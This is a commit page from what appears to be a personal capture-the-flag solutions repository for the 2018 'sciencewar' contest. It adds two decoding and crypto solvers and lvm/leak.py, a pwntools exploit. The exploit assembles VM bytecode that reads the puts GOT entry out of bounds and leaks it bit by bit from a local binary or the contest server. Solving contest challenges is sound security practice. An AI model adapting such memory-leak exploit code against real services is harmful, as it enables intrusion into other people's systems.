Skip to content

Commit ebec0c0

Browse files
committed
Participate sciencewar 2018
1 parent 0796018 commit ebec0c0

File tree

13 files changed

+483
-0
lines changed

13 files changed

+483
-0
lines changed

sciencewar/2018/ezbt/ezbt

6.05 KB
Binary file not shown.

sciencewar/2018/ezbt/solver.py

+46
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
import binascii
2+
3+
data = '''
4+
D9 51 44 5C 65 D5 3D 7D C8 67 BC 68 C8 68 6F 3F
5+
C8 64 3F 30 48 41 72 3F 75 C8 67 F4 68 48 B9 6E
6+
7C C8 7F 3C 74 5C 74 3C 74 3C 5C 3C 74 3C 5C 77
7+
48 FE E8 67 C8 49 48 48 48 48 48 48 48 48 48 48
8+
71 43 00 00 00 00 00 00
9+
'''
10+
11+
data = data.replace(' ', '')
12+
data = data.replace('\n', '')
13+
data = list(map(ord, binascii.unhexlify(data)))
14+
15+
16+
def unbit(val, bitsize=8):
17+
diff = []
18+
for _ in range(bitsize):
19+
diff.append(val & 1)
20+
val = val >> 1
21+
22+
last = 0
23+
acc = 0
24+
for i in range(bitsize - 1, -1, -1):
25+
now = last ^ diff[i]
26+
acc = (acc << 1) ^ now
27+
last = now
28+
29+
return acc
30+
31+
length = len(data)
32+
for i in range(0, length-8, 8):
33+
acc = 0
34+
shift = 0
35+
for j in range(8):
36+
acc += data[i+j] << shift
37+
shift += 8
38+
acc = unbit(acc, 8 * 8)
39+
for j in range(8):
40+
data[i+j] = acc & 0xFF
41+
acc = acc >> 8
42+
43+
for i in range(length):
44+
data[i] = unbit(data[i])
45+
46+
print ''.join(map(chr, data))

sciencewar/2018/hdbt/hdbt

6.02 KB
Binary file not shown.

sciencewar/2018/hdbt/solver.sage

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
from sage.all import *
2+
from Crypto.Util.number import long_to_bytes
3+
import sys
4+
5+
N = 63
6+
7+
const1 = 0xA5118FA1C766BF85
8+
const2 = 0xE273A75A9956DAA7
9+
10+
11+
def gmul(a, b):
12+
acc = 0
13+
while b > 0:
14+
if b & 1:
15+
acc = acc.__xor__(a)
16+
a = a << 1
17+
if a & (1 << N):
18+
a = (a.__xor__(const2)) & ((1 << 64) - 1)
19+
b >>= 1
20+
return acc
21+
22+
23+
data = [0x254847ec89dc651, 0x40bd6e5607da03bf, 0x45620b52aa48fa85, 0x493cd4e5fc020560]
24+
g.<z> = GF(2^63, modulus=GF(2^64).fetch_int(const2), check_irreducible=False)
25+
target = g.fetch_int(const1.__xor__(const2))
26+
inv_target = ((target) ^ (-1)).integer_representation()
27+
28+
for current in data:
29+
result = gmul(current, inv_target)
30+
sys.stdout.write(long_to_bytes(result)[::-1])
31+
sys.stdout.write('\n')

sciencewar/2018/hdbt/solver.sage.py

+37
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
2+
# This file was *autogenerated* from the file solver.sage
3+
from sage.all_cmdline import * # import sage library
4+
5+
_sage_const_0x40bd6e5607da03bf = Integer(0x40bd6e5607da03bf); _sage_const_64 = Integer(64); _sage_const_0 = Integer(0); _sage_const_63 = Integer(63); _sage_const_2 = Integer(2); _sage_const_0x45620b52aa48fa85 = Integer(0x45620b52aa48fa85); _sage_const_1 = Integer(1); _sage_const_0xA5118FA1C766BF85 = Integer(0xA5118FA1C766BF85); _sage_const_0x493cd4e5fc020560 = Integer(0x493cd4e5fc020560); _sage_const_0x254847ec89dc651 = Integer(0x254847ec89dc651); _sage_const_0xE273A75A9956DAA7 = Integer(0xE273A75A9956DAA7)
6+
from sage.all import *
7+
from Crypto.Util.number import long_to_bytes
8+
import sys
9+
10+
N = _sage_const_63
11+
12+
const1 = _sage_const_0xA5118FA1C766BF85
13+
const2 = _sage_const_0xE273A75A9956DAA7
14+
15+
16+
def gmul(a, b):
17+
acc = _sage_const_0
18+
while b > _sage_const_0 :
19+
if b & _sage_const_1 :
20+
acc = acc.__xor__(a)
21+
a = a << _sage_const_1
22+
if a & (_sage_const_1 << N):
23+
a = (a.__xor__(const2)) & ((_sage_const_1 << _sage_const_64 ) - _sage_const_1 )
24+
b >>= _sage_const_1
25+
return acc
26+
27+
28+
data = [_sage_const_0x254847ec89dc651 , _sage_const_0x40bd6e5607da03bf , _sage_const_0x45620b52aa48fa85 , _sage_const_0x493cd4e5fc020560 ]
29+
g = GF(_sage_const_2 **_sage_const_63 , modulus=GF(_sage_const_2 **_sage_const_64 ).fetch_int(const2), check_irreducible=False, names=('z',)); (z,) = g._first_ngens(1)
30+
target = g.fetch_int(const1.__xor__(const2))
31+
inv_target = ((target) ** (-_sage_const_1 )).integer_representation()
32+
33+
for current in data:
34+
result = gmul(current, inv_target)
35+
sys.stdout.write(long_to_bytes(result)[::-_sage_const_1 ])
36+
sys.stdout.write('\n')
37+

sciencewar/2018/lvm/leak.py

+158
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
from pwn import *
2+
import sys
3+
4+
ins = ['nop', 'add', 'sub', 'shl', 'shr', 'and', 'or', 'xor', 'not', 'mov', 'jmp']
5+
6+
7+
def parseLvalue(lval):
8+
global f
9+
10+
ltype = lval[0]
11+
if ltype == 'r':
12+
f.write('\x00')
13+
reg_num = int(lval[1:], 10)
14+
f.write(bytearray([reg_num]))
15+
elif ltype == 'm':
16+
f.write('\x02')
17+
m_addr = int(lval[1:], 10)
18+
19+
if m_addr < 0:
20+
m_addr = (m_addr + (1 << 32)) % (1 << 32)
21+
f.write(p32(m_addr))
22+
else:
23+
print 'Invalid Lvalue'
24+
exit()
25+
26+
27+
def parseArg(arg):
28+
global f
29+
30+
atype = arg[0]
31+
if atype == 'r':
32+
f.write('\x00')
33+
reg_num = int(arg[1:], 10)
34+
f.write(bytearray([reg_num]))
35+
elif atype == 'i':
36+
f.write('\x01')
37+
i_val = int(arg[1:], 10)
38+
f.write(p64(i_val))
39+
else:
40+
print 'Invalid Arg'
41+
exit()
42+
43+
44+
def parseRvalue(rval):
45+
global f
46+
rtype = rval[0]
47+
if rtype == 'r':
48+
f.write('\x00')
49+
reg_num = int(rval[1:], 10)
50+
f.write(bytearray([reg_num]))
51+
elif rtype == 'i':
52+
f.write('\x01')
53+
i_val = int(rval[1:], 10)
54+
f.write(p64(i_val))
55+
elif rtype == 'm':
56+
f.write('\x02')
57+
m_addr = int(rval[1:], 10)
58+
if m_addr < 0:
59+
m_addr = (m_addr + (1 << 32)) % (1 << 32)
60+
print m_addr
61+
f.write(p32(m_addr))
62+
else:
63+
print 'Invalid Rvalue'
64+
exit()
65+
66+
67+
def ass(asm):
68+
for opcodes in asm:
69+
opcode = opcodes.split(' ')
70+
ins_type = opcode[0]
71+
72+
# invalid
73+
if ins_type == ins[1]:
74+
f.write('\x01')
75+
parseLvalue(opcode[1])
76+
parseRvalue(opcode[2])
77+
# sub
78+
elif ins_type == ins[2]:
79+
f.write('\x02')
80+
parseLvalue(opcode[1])
81+
parseRvalue(opcode[2])
82+
# shl
83+
elif ins_type == ins[3]:
84+
f.write('\x03')
85+
parseLvalue(opcode[1])
86+
parseRvalue(opcode[2])
87+
# shr
88+
elif ins_type == ins[4]:
89+
f.write('\x04')
90+
parseLvalue(opcode[1])
91+
parseRvalue(opcode[2])
92+
# and
93+
elif ins_type == ins[5]:
94+
f.write('\x05')
95+
parseLvalue(opcode[1])
96+
parseRvalue(opcode[2])
97+
# or
98+
elif ins_type == ins[6]:
99+
f.write('\x06')
100+
parseLvalue(opcode[1])
101+
parseRvalue(opcode[2])
102+
# xor
103+
elif ins_type == ins[7]:
104+
f.write('\x07')
105+
parseLvalue(opcode[1])
106+
parseRvalue(opcode[2])
107+
# not
108+
elif ins_type == ins[8]:
109+
f.write('\x08')
110+
parseArg(opcode[1])
111+
# mov
112+
elif ins_type == ins[9]:
113+
f.write('\x09')
114+
parseLvalue(opcode[1])
115+
parseRvalue(opcode[2])
116+
# jp
117+
elif ins_type == ins[10]:
118+
f.write('\x0a')
119+
parseArg(opcode[1])
120+
else:
121+
print 'Invalid instruction'
122+
exit()
123+
124+
exit_got = 0x601FF8
125+
alarm_got = 0x601FC8
126+
puts_got = 0x601FC0
127+
128+
bit = ''
129+
for i in range(12):
130+
if len(sys.argv) > 1:
131+
p = remote('211.239.124.246', '23904')
132+
else:
133+
p = process('./lvm')
134+
135+
f = open('bin', 'wb')
136+
137+
a = []
138+
139+
a.append('mov r0 i' + str(puts_got))
140+
a.append('mov r0 m5000')
141+
a.append('shr r0 i' + str(i))
142+
a.append('and r0 i1')
143+
a.append('shl r0 i13')
144+
a.append('mov m-4144 r0')
145+
146+
ass(a)
147+
148+
with open('bin', 'r') as f:
149+
payload = f.read()
150+
p.send(payload)
151+
p.recvline()
152+
if "VM" in p.recvline():
153+
bit = '1' + bit
154+
else:
155+
bit = '0' + bit
156+
p.close()
157+
158+
print '%03x' % int(bit, 2)

sciencewar/2018/lvm/libc.so.6

1.78 MB
Binary file not shown.

sciencewar/2018/lvm/lvm

9.99 KB
Binary file not shown.

sciencewar/2018/lvm/lvm.i64

177 KB
Binary file not shown.

0 commit comments

Comments
 (0)